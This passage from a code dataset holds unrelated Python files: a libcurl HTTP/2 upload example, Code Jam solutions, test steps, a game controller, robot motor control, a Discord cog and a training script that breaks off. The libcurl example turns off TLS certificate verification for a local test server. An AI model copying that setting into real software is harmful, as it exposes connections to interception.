lcurl.easy_setopt(curl, lcurl.CURLOPT_DEBUGFUNCTION, debug_function)\n lcurl.easy_setopt(curl, lcurl.CURLOPT_DEBUGDATA, ct.byref(transfer))\n # HTTP/2 please\n lcurl.easy_setopt(curl, lcurl.CURLOPT_HTTP_VERSION,\n lcurl.CURL_HTTP_VERSION_2_0)\n # we use a self-signed test server, skip verification during debugging\n lcurl.easy_setopt(curl, lcurl.CURLOPT_SSL_VERIFYPEER, 0)\n lcurl.easy_setopt(curl, lcurl.CURLOPT_SSL_VERIFYHOST, 0)\n if lcurl.CURLPIPE_MULTIPLEX > 0:\n # wait for pipe connection to confirm\n lcurl.easy_setopt(curl, lcurl.CURLOPT_PIPEWAIT, 1)\n\n return 0 # all is good\n\n\n#\n# Upload all files over HTTP/2, using the same physical connection!\n#\n\ndef main(argv=sys.argv[1:]):\n\n global NUM_HANDLES\n\n num_transfers = 3 # suitable default\n fpath = here/\"input/index.html\"\n url = \"https://localhost:8443\"\n if len(argv) >= 1:\n # if given a number, do that many transfers\n num_transfers = int(argv[0])\n if not (1 <= num_transfers <= NUM_HANDLES):\n num_transfers = 3 # a suitable low default\n if len(argv) >= 2:\n # if given a file name, upload this!\n fpath = Path(argv[1])\n if len(argv) >= 3:\n url = argv[2]\n\n # init a multi stack\n mcurl: ct.POINTER(lcurl.CURLM) = lcurl.multi_init()\n\n with curl_guard(False, None, mcurl):\n if not mcurl: return 2\n\n transfers = []\n for num in range(num_transfers):\n transfer = transfer_data()\n res = setup(transfer, num, fpath, url)\n if res:\n return res\n # add the individual transfer\n lcurl.multi_add_handle(mcurl, transfer.curl)\n transfers.append(transfer)\n\n lcurl.multi_setopt(mcurl, lcurl.CURLMOPT_PIPELINING,\n lcurl.CURLPIPE_MULTIPLEX)\n # We do HTTP/2 so let's stick to one connection per host\n lcurl.multi_setopt(mcurl, lcurl.CURLMOPT_MAX_HOST_CONNECTIONS, 1)\n\n still_running = ct.c_int(1) # keep number of running handles\n while still_running.value:\n mc: int = lcurl.multi_perform(mcurl, ct.byref(still_running))\n if still_running.value:\n # wait for activity, timeout or \"nothing\"\n mc = lcurl.multi_poll(mcurl, None, 0, 1000, None)\n if mc:\n break\n\n for transfer in transfers:\n lcurl.multi_remove_handle(mcurl, transfer.curl)\n lcurl.easy_cleanup(transfer.curl)\n\n return 0\n\n\nsys.exit(main())\n","repo_name":"karpierz/libcurl","sub_path":"examples/http2-upload.py","file_name":"http2-upload.py","file_ext":"py","file_size_in_byte":7437,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23578911511","text":"f_in = open('A-large.in', 'r')\n\ndata = f_in.readlines()\n\nf_in.close()\n\nfor i in range(len(data)):\n if data[i][-1] == '\\n':\n data[i] = data[i][0:len(data[i])-1]\n\nl = []\nsol = []\n\ncases = int(data.pop(0))\n\nin_case = 0\ncase = [0,[]]\n\ncase_data = []\n\nfor line in data:\n entry = line.split(' ')\n seq = []\n for num in entry:\n seq.append(int(num))\n if in_case == 0:\n case[0] = seq[0]\n in_case = seq[1]\n else:\n in_case -= 1\n case[1].append(seq)\n if in_case == 0:\n case_data.append(case)\n case = [0, []]\n\nsol = []\n\nprint(case_data)\n\ncase_on = 1\nfor case in case_data:\n kilometers = case[0]\n horses = case[1]\n speed = 0.0\n \n for horse in horses:\n horse.append((kilometers-horse[0])/horse[1])\n \n for i in range(len(horses)):\n horses[i] = tuple(horses[i])\n \n horses = sorted(horses)\n \n actual = [horses[0]]\n \n for horse in horses[1:]:\n if horse[2] > actual[-1][2]:\n actual.append(horse)\n \n fastest = actual[0][2]\n \n for horse in actual[1:]:\n if horse[2] > fastest:\n fastest = horse[2]\n\n sol.append('Case #' + str(case_on) + ': ' + '{0:.6f}'.format(kilometers/fastest))\n case_on += 1\n\nf = open('cc_large.txt', 'w')\nfor entry in sol:\n f.write(entry + '\\n')\nf.close()\n\nprint('Done')\n \n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_206/1376.py","file_name":"1376.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18045129595","text":"\"\"\"\nScript con los pasos para realizar el proceso de parseo\n\"\"\"\n\nfrom alimentos_scraper import *\n\n# Se instancia el objeto para realizar web scraping a la pagina de alimentos\nscraper = AlimentosScraper()\n\n# Se inicia el proceso\nret = scraper.parseo()\n\n# Solo si se ha terminado el proceso de parseo con exito obtenemos el fichero .csv con el dataset.\n# El fichero se guaradara en el directorio actual de trabajo\nif ret:\n scraper.to_csv()\n","repo_name":"gregoriodmv/gmv_cms_web_scraping","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3734369880","text":"from behave import *\n\n# use_step_matcher(\"parse\")\nfrom Utility.API_Utility import API_Utility\n\napi_util = API_Utility()\n\n\n@when('User sends \"{method}\" call to endpoint \"{endpoint}\"')\ndef step_impl(context, method, endpoint):\n global response\n response = api_util.Method_Call(context.table, method, endpoint)\n\n\n@then('User verifies the status code is \"{status_code}\"')\ndef step_impl(context, status_code):\n actual_status_code = response.status_code\n assert actual_status_code == int(status_code)\n\n\n@step(\"User verifies GET response contains following information\")\ndef step_impl(context):\n api_util.Verify_GET(context.table)\n response_body = response.json()\n assert response_body['data']['first_name'] == context.table[0][0]\n assert response_body['data']['last_name'] == context.table[0][1]\n assert response_body['data']['email'] == context.table[0][2]\n\n\n@step(\"User verifies POST response body contains following information\")\ndef step_impl(context):\n api_util.Verify_POST(context.table)\n response_body = response.json()\n assert response_body['name'] == context.table[0][0]\n assert response_body['job'] == context.table[0][1]\n\n\n@step(\"User verifies PUT response body contains following information\")\ndef step_impl(context):\n api_util.Verify_PUT(context.table)\n response_body = response.json()\n assert response_body['Name'] == context.table[0][0]\n assert response_body['Job'] == context.table[0][1]\n\n\n@when('User sends DELETE call to the endpoint \"{endpoint}\"')\ndef step_impl(context, endpoint):\n api_util.Delete_Call(endpoint)\n","repo_name":"spurqlabs/PythonBehaveApiFramework","sub_path":"Features/Steps/Api_steps.py","file_name":"Api_steps.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"3604827554","text":"from project.car.muscle_car import MuscleCar\nfrom project.car.sports_car import SportsCar\nfrom project.driver import Driver\nfrom project.race import Race\n\n\nclass Controller:\n\n def __init__(self):\n self.cars = []\n self.drivers = []\n self.races = []\n\n def car_exists_in_cars(self, car_model):\n \"\"\"\"This checks if a car is already in the cars' list\"\"\"\n check = [x.model for x in self.cars if x.model == car_model]\n\n if check:\n return True\n return False\n\n def driver_exists_in_drivers(self, driver_name):\n \"\"\"\"This checks if a driver is already in the drivers' list\"\"\"\n check = [x.name for x in self.drivers if x.name == driver_name]\n\n if check:\n return True\n return False\n\n def race_exists_in_races(self, race_name):\n \"\"\"This checks if a race is already in the races' list\"\"\"\n check = [x.name for x in self.races if x.name == race_name]\n\n if check:\n return True\n return False\n\n def create_car(self, car_type: str, model: str, speed_limit: int):\n valid_car_types = ['MuscleCar', 'SportsCar']\n\n if self.car_exists_in_cars(model):\n raise Exception(f'Car {model} is already created!')\n\n if car_type not in valid_car_types:\n return\n car = 0\n for _ in valid_car_types:\n if car_type == 'MuscleCar':\n car = MuscleCar(model, speed_limit)\n break\n car = SportsCar(model, speed_limit)\n\n self.cars.append(car)\n return f\"{car_type} {model} is created.\"\n\n def create_driver(self, driver_name: str):\n if self.driver_exists_in_drivers(driver_name):\n raise Exception(f'Driver {driver_name} is already created!')\n driver = Driver(driver_name)\n self.drivers.append(driver)\n return f'Driver {driver_name} is created.'\n\n def create_race(self, race_name: str):\n if self.race_exists_in_races(race_name):\n raise Exception(f\"Race {race_name} is already created!\")\n\n race = Race(race_name)\n self.races.append(race)\n return f'Race {race_name} is created.'\n\n def add_car_to_driver(self, driver_name: str, car_type: str):\n if not self.driver_exists_in_drivers(driver_name):\n raise Exception(f'Driver {driver_name} could not be found!')\n\n availability = [x for x in self.cars if not x.is_taken]\n available_car = availability[-1]\n\n if not availability or available_car.__class__.__name__ not in ['MuscleCar', 'SportsCar']:\n raise Exception(f\"Car {car_type} could not be found!\")\n\n has_car = [x for x in self.drivers if x.car is not None and x.name == driver_name]\n\n if has_car:\n driver = has_car[0]\n old_car = driver.car\n old_car.is_taken = False\n new_car = available_car.model\n driver.car = available_car\n available_car.is_taken = True\n return f'Driver {driver_name} changed his car from {old_car.model} to {new_car}.'\n\n if self.driver_exists_in_drivers(driver_name) and not has_car:\n find_driver = [x for x in self.drivers if x.name == driver_name]\n driver = find_driver[0]\n last_car = [x for x in self.cars if not x.is_taken][-1]\n last_car.is_taken = True\n driver.car = last_car\n return f'Driver {driver_name} chose the car {last_car.model}.'\n\n def add_driver_to_race(self, race_name, driver_name: str):\n if not self.race_exists_in_races(race_name):\n raise Exception(f'Race {race_name} could not be found!')\n\n if not self.driver_exists_in_drivers(driver_name):\n raise Exception(f'Driver {driver_name} could not be found!')\n\n has_car = [x for x in self.drivers if x.car is not None and x.name == driver_name]\n\n if not has_car:\n raise Exception(f'Driver {driver_name} could not participate in the race!')\n\n race = [x for x in self.races if x.name == race_name][0]\n has_participated = [x for x in self.drivers if x.name == driver_name and x in race.drivers]\n driver = [x for x in self.drivers if x.name == driver_name][0]\n\n if has_participated:\n return f'Driver {driver_name} is already added in {race_name} race.'\n\n race.drivers.append(driver)\n return f'Driver {driver_name} added in {race_name} race.'\n\n def start_race(self, race_name: str):\n result = ''\n if not self.race_exists_in_races(race_name):\n raise Exception(f'Race {race_name} could not be found!')\n\n race = [x for x in self.races if x.name == race_name][0]\n\n if len(race.drivers) < 3:\n raise Exception(f'Race {race_name} cannot start with less than 3 participants!')\n\n top_3_cars_and_racers = list(sorted(race.drivers, key=lambda x: -x.car.speed_limit))[:3]\n\n for driver in top_3_cars_and_racers:\n driver.number_of_wins += 1\n result += f'Driver {driver.name} wins the {race_name} race with a speed of {driver.car.speed_limit}.\\n'\n\n return result.strip()\n","repo_name":"Velin-Todorov/SoftUni","sub_path":"Exam Practice/Exam 11.12/project/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":5172,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"4945012384","text":"# coding: utf-8\nimport json\nimport datetime\n\n\ndef get_datas():\n\n\tfile_path = 'D:/datas/rule-jdbianma'\n\n\twith open(file_path, 'r', encoding = 'utf-8') as f:\n\n\t\tlines = f.read()\n\t\tcontents = json.loads(lines)\n\t\tdatasarr = contents['data']\n\t\t\n\n\tarrdata = []\n\n\n\tcount = 0\n\n\n\twith open('D:/files_store/rule-jdbianma-result.json' , 'w') as fw:\n\n\n\t\t# for key in contents:\n\t\tfor key in datasarr:\n\n\t\t\tif 'jdCheckRules'==key:\n\n\t\t\t\trules = datasarr[key]\n\n\t\t\t\tfor i in rules:\n\n\t\t\t\t\tdatas = {}\n\t\t\t\t\tcount = count + 1\n\n\t\t\n\t\t\t\t\t# datas['type'] = i['type']\n\t\t\t\t\tdatas['id'] = count\n\t\t\t\t\tdatas['type'] = i['error_level']\n\t\t\t\t\tdatas['name'] = i['rule_name']\n\t\t\t\t\tdatas['brief'] = i['brief']\n\t\t\t\t\tdatas['language'] = 'android'\n\n\t\t\t\t\tarrdata.append(datas)\n\t\t\t\t\t\n\t\t\t\t\t\t\n\n\n\n\t\n\t\t# print(json.dumps(arrdata, sort_keys=True, indent=4, separators=(',', ':')))\n\t\tformat_data = json.dumps(arrdata, sort_keys=True, indent=0, ensure_ascii = False)\n\t\tprint('count =',count)\n\t\tprint(format_data)\n\n\t\t\n\n\t\tfw.write(format_data)\n\n\n\t\t\n\n\n\nif __name__ == '__main__':\n\tget_datas()","repo_name":"xiaoxiaoxinlabi/pythonProject","sub_path":"jsonoutput.py","file_name":"jsonoutput.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6466145642","text":"n=int(input())\ndef fun( n):\n r=0\n while(n):\n d=n%10\n r=r*10+d\n n=n//10\n return r\nwhile(n):\n n=n+fun(n)\n if(n==fun(n)):\n print(n)\n break\n ","repo_name":"21A91A05C1/codemind-python","sub_path":"Reverse_Palindrome.py","file_name":"Reverse_Palindrome.py","file_ext":"py","file_size_in_byte":190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2877136824","text":"#!/usr/bin/env python\n\nfrom motor_control import MotorGPIO\nimport yaml\nimport os\n\ndef main():\n # motor = MotorGPIO()\n os.getcwd()\n os.chdir('../..')\n config_path = os.getcwd() + \"/config/config.yaml\"\n\n with open(config_path) as file:\n # The FullLoader parameter handles the conversion from YAML\n # scalar values to Python the dictionary format\n config_yaml = yaml.load(file, Loader=yaml.FullLoader)\n\n _pin_definition = config_yaml[\"Definition\"]\n print(_pin_definition)\n for item in _pin_definition:\n for pin in item:\n definition = item[pin]\n\n print(pin)\n print(definition)\n # Assign pins to motor\n # !!!!!!! wrong!!!!!!!!!\n if definition.find(\"left_motor_forward\"):\n pin_left_forward = pin\n if definition.find(\"left_motor_backward\"):\n pin_left_backward = pin\n if definition.find(\"left_motor_pwm\"):\n pin_left_pwm = pin\n\n if definition.find(\"right_motor_forward\"):\n pin_right_forward = pin\n\n if definition.find(\"right_motor_backward\"):\n pin_right_backward = pin\n if definition.find(\"right_motor_pwm\"):\n pin_right_pwm = pin\n\n pin_left_forward = 20\n pin_left_backward = 21\n pin_left_pwm = 16\n pin_right_forward = 19\n pin_right_backward = 26\n pin_right_pwm = 13\n\n print(pin_left_forward, pin_left_backward, pin_left_pwm, pin_right_forward, pin_right_backward, pin_right_pwm)\n left_motor = MotorGPIO(pin_left_forward, pin_left_backward, pin_left_pwm)\n right_motor = MotorGPIO(pin_right_forward, pin_right_backward, pin_right_pwm)\n left_speed_percent = 0\n right_speed_percent = 0\n\n while True:\n left_speed_percent = 5\n right_speed_percent = 5\n left_motor.move(left_speed_percent)\n right_motor.move(right_speed_percent) \n\n\n\nif __name__ == '__main__':\n main()\n GPIO.cleanup()","repo_name":"ipa-rwu/tank_stack","sub_path":"tank_driver/src/tank_control/test_motor_control.py","file_name":"test_motor_control.py","file_ext":"py","file_size_in_byte":1928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42122429143","text":"while True:\r\n d=int(input('enter number'))\r\n binary=[]\r\n while True:\r\n binary.append(str(d%2))\r\n d//=2\r\n if d==0:\r\n break\r\n binary.reverse()\r\n binary=''.join(binary)\r\n print(binary)\r\n print(\"enter 0 to stop\")\r\n s=input()\r\n if s=='0':\r\n break\r\n","repo_name":"manardahi707/h1","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23545332241","text":"f = open(\"A-large.in\")\r\no = open(\"outputAL.txt\",\"w\")\r\nno_of_cases = f.readline()\r\n\r\ndef check_inc(num):\r\n no = list(str(num))\r\n for i in range(len(no)-1):\r\n if no[i]>no[i+1]:\r\n return int(''.join(no[i+1:]))+1\r\n return 0\r\n\r\ndef B():\r\n for i in range(int(no_of_cases)):\r\n number = int(f.readline())\r\n no = 1\r\n while no:\r\n no = check_inc(number)\r\n number -= no\r\n o.write(\"Case #\"+str(i+1)+\": \"+str(number)+\"\\n\")\r\n \r\ndef A():\r\n for i in range(int(no_of_cases)):\r\n input = f.readline()\r\n s,k = input.split()\r\n s = list(s)\r\n k = int(k)\r\n bin = [0 if x=='-' else 1 for x in s]\r\n count = 0\r\n for j in range(len(bin)-k+1):\r\n if not bin[j]:\r\n for x in range(k):\r\n bin[j+x] ^= 1\r\n count+=1\r\n if len(set(bin)) == 1 and set(bin)=={1}:\r\n o.write(\"Case #\"+str(i+1)+\": \"+str(count//k)+\"\\n\")\r\n else:\r\n o.write(\"Case #\"+str(i+1)+\": IMPOSSIBLE\\n\")\r\n\r\nA()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/3070.py","file_name":"3070.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35733111550","text":"import discord\nimport discord.ext.commands as ext\n\nimport stwutil as stw\nfrom ext.profile.bongodb import get_user_document\n\n\nclass Internationalisation(ext.Cog):\n \"\"\"\n The main function for the i18n command.\n \"\"\"\n\n def __init__(self, client):\n self.client = client\n\n async def i18n_command(self, ctx, *args):\n \"\"\"\n The main function for the i18n command.\n\n Args:\n ctx: The context of the command.\n *args: The arguments of the command.\n \"\"\"\n\n embed_colour = self.client.colours[\"auth_white\"]\n embed = discord.Embed(title=await stw.add_emoji_title(self.client, \"i18n\", \"experimental\"),\n description=f'\\u200b\\n',\n color=embed_colour)\n desired_lang = await stw.I18n.get_desired_lang(self.client, ctx)\n if len(args) == 0 or isinstance(ctx, discord.ApplicationContext) or isinstance(ctx, discord.Message):\n try:\n user_profile = await get_user_document(ctx, self.client, ctx.author.id)\n localisation = user_profile[\"profiles\"][str(user_profile[\"global\"][\"selected_profile\"])][\"settings\"][\"language\"]\n embed.description += f'Your chosen language: **{localisation}**\\n'\n except Exception as e:\n embed.description += f'Error getting your chosen language: ```{e}```\\n'\n localisation = \"en\"\n try:\n embed.description += f'Your language: **{ctx.locale}**\\n'\n except Exception as e:\n embed.description += f'Error getting your language: ```{e}```\\n'\n try:\n embed.description += f'Interaction language: **{ctx.interaction.locale}**\\n'\n except Exception as e:\n embed.description += f'Error getting interaction language: ```{e}```\\n'\n try:\n embed.description += f'Guild language: **{ctx.guild.preferred_locale}**\\n'\n except Exception as e:\n embed.description += f'Error getting guild language: ```{e}```\\n'\n embed.description += f'\\nAvailable languages:\\n{stw.I18n.get_langs_str()}\\n'\n try:\n interaction_language = ctx.interaction.locale\n if interaction_language.lower() in [\"en-us\", \"en-gb\", \"en\"]:\n interaction_language = \"en\"\n elif interaction_language.lower() in [\"zh-cn\", \"zh-sg\", \"zh-chs\", \"zh-hans\", \"zh-hans-cn\",\n \"zh-hans-sg\"]:\n interaction_language = \"zh-CHS\"\n elif interaction_language.lower() in [\"zh-tw\", \"zh-hk\", \"zh-mo\", \"zh-cht\", \"zh-hant\", \"zh-hant-tw\",\n \"zh-hant-hk\", \"zh-hant-mo\"]:\n interaction_language = \"zh-CHT\"\n if not stw.I18n.is_lang(interaction_language):\n interaction_language = None\n except:\n interaction_language = None\n try:\n guild_language = ctx.guild.preferred_locale\n if guild_language.lower() in [\"en-us\", \"en-gb\", \"en\"]:\n guild_language = \"en\"\n elif guild_language.lower() in [\"zh-cn\", \"zh-sg\", \"zh-chs\", \"zh-hans\", \"zh-hans-cn\", \"zh-hans-sg\"]:\n guild_language = \"zh-CHS\"\n elif guild_language.lower() in [\"zh-tw\", \"zh-hk\", \"zh-mo\", \"zh-cht\", \"zh-hant\", \"zh-hant-tw\",\n \"zh-hant-hk\", \"zh-hant-mo\"]:\n guild_language = \"zh-CHT\"\n if not stw.I18n.is_lang(guild_language):\n guild_language = None\n except:\n guild_language = None\n embed.description += f'\\n\\u200bFor desired lang, we\\'ll use: Profile language **{localisation}** > Interaction language **{interaction_language}** > Guild language **{guild_language}** > Default language **en**\\n'\n embed.description += f'Determined language:\\n{desired_lang}\\n'\n else:\n embed.description += f'The value of **{args[0]}** in **{desired_lang}** is:\\n**{stw.I18n.get(args[0], desired_lang)}**\\n '\n\n embed.description += f'\\n\\u200b'\n\n embed = await stw.set_thumbnail(self.client, embed, \"clown\")\n embed = await stw.add_requested_footer(ctx, embed, \"en\")\n\n await stw.slash_send_embed(ctx, self.client, embed)\n\n @ext.slash_command(name='i18n',\n description='Test internationalisation',\n guild_ids=stw.guild_ids)\n async def slashi18n(self, ctx: discord.ApplicationContext):\n \"\"\"\n This function is the entry point for the i18n command when called via slash\n\n Args:\n ctx: The context of the command.\n \"\"\"\n await self.i18n_command(ctx, None)\n\n @ext.command(name='i18n',\n aliases=[],\n extras={'emoji': \"experimental\", \"args\": {\"\\*args\": \"arguments to pass\"}, \"dev\": True},\n brief=\"Test internationalisation\",\n description=\"Test internationalisation (translation) for STW Daily\\n⦾ Please note that this command is\"\n \" primarily for development purposes \"\n \"<:TBannersIconsBeakerLrealesrganx4:1028513516589682748>\")\n async def i18n(self, ctx, *args):\n \"\"\"\n This function is the entry point for the i18n command when called traditionally\n\n Args:\n ctx: The context of the command.\n \"\"\"\n await self.i18n_command(ctx, *args)\n\n\ndef setup(client):\n \"\"\"\n This function is called when the cog is loaded via load_extension\n\n Args:\n client: The bot client\n \"\"\"\n client.add_cog(Internationalisation(client))\n","repo_name":"dippyshere/stw-daily","sub_path":"ext/i18n-testing.py","file_name":"i18n-testing.py","file_ext":"py","file_size_in_byte":5848,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"61"} +{"seq_id":"24218919005","text":"import datetime\nimport json\nimport click\n\ncomments = []\n\n\nclass Users():\n\t\"\"\"users class\"\"\"\n\t@staticmethod\n\tdef main(role):\n\t\t\"\"\"main app initialisation\"\"\"\n\t\tif role == \"normal\":\n\t\t\tclick.echo(\"Hello normal! Logged in at {}\".format(datetime.datetime.now()))\n\t\t\toption = int(input(\"Enter 1 for adding comment and 2 for editing\"))\n\t\t\tif option == 1:\n\t\t\t\t\"option 1 clicked. call comment implementation here\"\n\t\t\t\tpost_comment(role)\n\t\t\tif option == 2:\n\t\t\t\t\"option 2 clicked. call edit implementation here\"\n\t\t\t\tedit_comment(role)\n\t\telif role == \"mod\":\n\t\t\tclick.echo(\"Hello mod! Logged in at {}\".format(datetime.datetime.now()))\n\t\t\toption = int(input(\"Enter 1 for comment and 2 for edit and 3 for delete\"))\n\t\t\tif option == 1:\n\t\t\t\t\"option 1 clicked. call comment implementation here\"\n\t\t\tif option == 2:\n\t\t\t\t\"option 2 clicked. call edit implementation here\"\n\t\t\tif option == 3:\n\t\t\t\t\"option 3 clicked. call delete implementation here\"\n\t\telif role == \"admin\":\n\t\t\tclick.echo(\"Hello admin! Logged in at {}\".format(datetime.datetime.now()))\n\t\t\toption = int(input(\"Enter 1 for comment and 2 for edit any and 3 for delete\"))\n\t\t\tif option == 1:\n\t\t\t\t\"option 1 clicked. call comment implementation here\"\n\t\t\tif option == 2:\n\t\t\t\t\"option 2 clicked. call edit any implementation here\"\n\t\t\tif option == 3:\n\t\t\t\t\"option 3 clicked. call delete implementation here\"\n\ndef post_comment(role):\n\t'''A user can post a comment'''\n\tuser_comment = str(input(\"Add a new comment: \"))\n\tsecret_key = str(input(\"Enter a secret key to identify your comment: \"))\n\n\tif comments is not None:\n\t\tfor comment in comments:\n\t\t\tif comment[\"secret_key\"] == secret_key:\n\t\t\t\tsecret_key = str(input(\"secret key already in use, enter a different key: \"))\n\n\tcomment_data = {\n\t\"comment_posted\": user_comment,\n\t\"author\": role,\n\t\"time_posted\": datetime.datetime.now(),\n\t\"comment_id\": len(comments)+1,\n\t\"secret_key\": secret_key\n\t}\n\n\tcomments.append(comment_data)\n\n\tclick.echo(comments)\n\tfrom main import getUsers\n\tgetUsers()\n\ndef edit_comment(role):\n\t'''A user can edit an existing comment'''\n\n\tsecret_key = str(input(\"Enter a secret key: \"))\n\n\tif comments is not None:\n\t\tfor comment in comments:\n\t\t\tif comment[\"secret_key\"] == secret_key:\n\n\t\t\t\told_comment = comment[\"comment_posted\"]\n\n\t\t\t\tclick.echo(old_comment)\n\n\t\t\t\tnew_comment = str(input(\"Input changes: \"))\n\n\n\t\t\t\tnew_comment_data = {\n\t\t\t\t\t\t\"comment_posted\": new_comment,\n\t\t\t\t\t\t\"author\": role,\n\t\t\t\t\t\t\"time_posted\": datetime.datetime.now(),\n\t\t\t\t\t\t\"comment_id\": len(comments)+1,\n\t\t\t\t\t\t\"secret_key\": secret_key\n\t\t\t\t}\n\n\t\t\t\t#comments.remove(old_comment)\n\t\t\t\tcomments.append(new_comment_data)\n\t\t\t\tclick.echo(\"Edited comment {}\".format(comments))\n\t\t\tclick.echo(\"Error: no comment for that key\")\n\tclick.echo(\"No comments in database\")\n\n","repo_name":"Bakley/NBO-36-Agile-Onsite","sub_path":"users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":2720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25309555234","text":"import argparse\nimport copy\n\nimport numpy as np\nimport os\nimport time\nimport random\nimport yaml\nfrom datetime import datetime\nimport sys\n\ncurrent_path = os.path.abspath(__file__)\nfile_split = current_path.split('/')\n\npath_new = os.path.join(* file_split[:-2] )\nabspath = \"/\" + path_new\nsys.path.append(abspath)\n\nfrom utils import utils\nfrom utils.average_meter import AverageMeter\nfrom utils.logger import Logger as Log\nfrom utils.distributed import setup_distributed, is_distributed, all_reduce_mean, get_world_size, get_rank\nfrom utils.stereo_utils.stereo_visualization import save_images, disp_error_img\nfrom utils.stereo_utils.stereo_metrics import d1_metric, thres_metric\n\nimport torch\nimport torch.nn.functional as F\nimport torch.distributed as dist\nimport torch.backends.cudnn as cudnn\nfrom tensorboardX import SummaryWriter\n\nfrom stereo.nets import model_manager\nfrom stereo.modelhelper.losshelper import loss_helper\nfrom dataloader.stereo_dataset.stereo_loader import get_loader\nfrom stereo.modelhelper.optim_scheduler import get_scheduler, get_optimizer\nfrom stereo.modelhelper.model_helper import load_state, specific_params_group, basic_params_group, \\\n resume_latest_ckpt, save_checkpoint\n\n\ndef str2bool(v):\n \"\"\" Usage:\n parser.add_argument('--pretrained', type=str2bool, nargs='?', const=True,\n dest='pretrained', help='Whether to use pretrained models.')\n \"\"\"\n if v.lower() in ('yes', 'true', 't', 'y', '1'):\n return True\n elif v.lower() in ('no', 'false', 'f', 'n', '0'):\n return False\n else:\n raise argparse.ArgumentTypeError('Unsupported value encountered.')\n\n\ndef int2bool(v):\n \"\"\" Usage:\n parser.add_argument('--x', type=int2bool, nargs='?', const=True,\n dest='x', help='Whether to use pretrained models.')\n \"\"\"\n if int(v) == 1:\n return True\n elif int(v) == 0:\n return False\n else:\n raise argparse.ArgumentTypeError('Unsupported value encountered.')\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Train stereo network')\n\n # if 'LOCAL_RANK' not in os.environ:\n # os.environ['LOCAL_RANK'] = str(args.local_rank)\n\n parser.add_argument('--configs',\n help='experiment configure file name',\n type=str)\n parser.add_argument('--seed', type=int, default=326) # 0\n # parser.add_argument('--gpu', default=[1, 3], nargs='+', type=int, dest='gpu', help='The gpu list used.') # 这个还有用吗\n parser.add_argument('--cudnn', type=str2bool, nargs='?', default=True, help='Use CUDNN.')\n parser.add_argument('--deterministic', type=str2bool, nargs='?', default=True, help='Use CUDNN.')\n\n # *********** Params for distributed training. **********\n # parser.add_argument('--local-rank', type=int, default=0, help='local rank of current process')\n parser.add_argument('--distributed', type=int2bool, default=True,\n help='Use multi-processing training.')\n parser.add_argument('--port', type=int, default=29961, help='.')\n\n # *********** Params for experiment and checkpoint. **********\n parser.add_argument('--yaml_path', type=str, default=None, help='.')\n # parser.add_argument('--resume', default=False, help='Resume training from latest checkpoint')\n # parser.add_argument('--pretrained_net', default=None, type=str, help='Pretrained network')\n # parser.add_argument('--exp_dir', default=\"/data/data2/drj/ML/Stereo/StereoTool/checkpoint/main_expi1/sub_expi1\")\n\n # *********** Params for logging. and screen **********\n parser.add_argument('--logfile_level', default='info', type=str, help='To set the log level to files.')\n parser.add_argument('--stdout_level', default='info', type=str, help='To set the level to print to screen.')\n # parser.add_argument('--log_file', default=\"log/stereo.log\", type=str, dest='logging:log_file', help='The path of log files.')\n parser.add_argument('--rewrite', type=str2bool, nargs='?', default=False, help='Whether to rewrite files.')\n parser.add_argument('--log_to_file', type=str2bool, nargs='?', default=True, help='Whether to write logging into files.')\n parser.add_argument('--log_format', type=str, nargs='?', default=\"%(asctime)s %(levelname)-7s %(message)s\"\n , help='Whether to write logging into files.')\n\n # *********** Extra para related to training mode **********\n parser.add_argument('--evaluate_only', default=False, help='Only evaluate pretrained models')\n parser.add_argument('--freeze_bn', default=False, help='Switch BN to eval mode to fix running statistics')\n parser.add_argument('--print_freq', default=100, type=int, help='Print frequency to screen (iterations)')\n parser.add_argument('--summary_freq', default=100, type=int,\n help='Summary frequency to tensorboard (iterations)')\n parser.add_argument('--save_ckpt_freq', default=1, type=int,\n help='Save checkpoint frequency (epochs)') # For SenceFlow 1\n\n parser.add_argument('opts',\n help=\"Modify config options using the command-line\",\n default=None,\n nargs=argparse.REMAINDER)\n\n parser = parser.parse_args()\n\n cfg = yaml.load(open(parser.configs, \"r\"), Loader=yaml.FullLoader)\n\n parser = vars(parser)\n parser_new = parser.copy()\n parser_new.update(cfg)\n\n if os.environ.get('CUDA_VISIBLE_DEVICES') is not None:\n gpu = copy.deepcopy(os.environ.get('CUDA_VISIBLE_DEVICES'))\n gpu1 = gpu.split(\",\")\n gpulist = [int(i.strip()) for i in gpu1]\n parser_new[\"gpu\"] = gpulist\n\n if parser_new[\"seed\"] is not None:\n os.environ['PYTHONHASHSEED'] = str(parser_new[\"seed\"]) # 为了禁止hash随机化,使得实验可复现\n\n return parser_new\n\n\ndef main():\n args = parse_args()\n\n \"\"\"\n - experiment: bash file to run the experiment\n - config: config file related to the experiment\n - checkpoint : store the checkpoint log, summary file during training or testing. It is 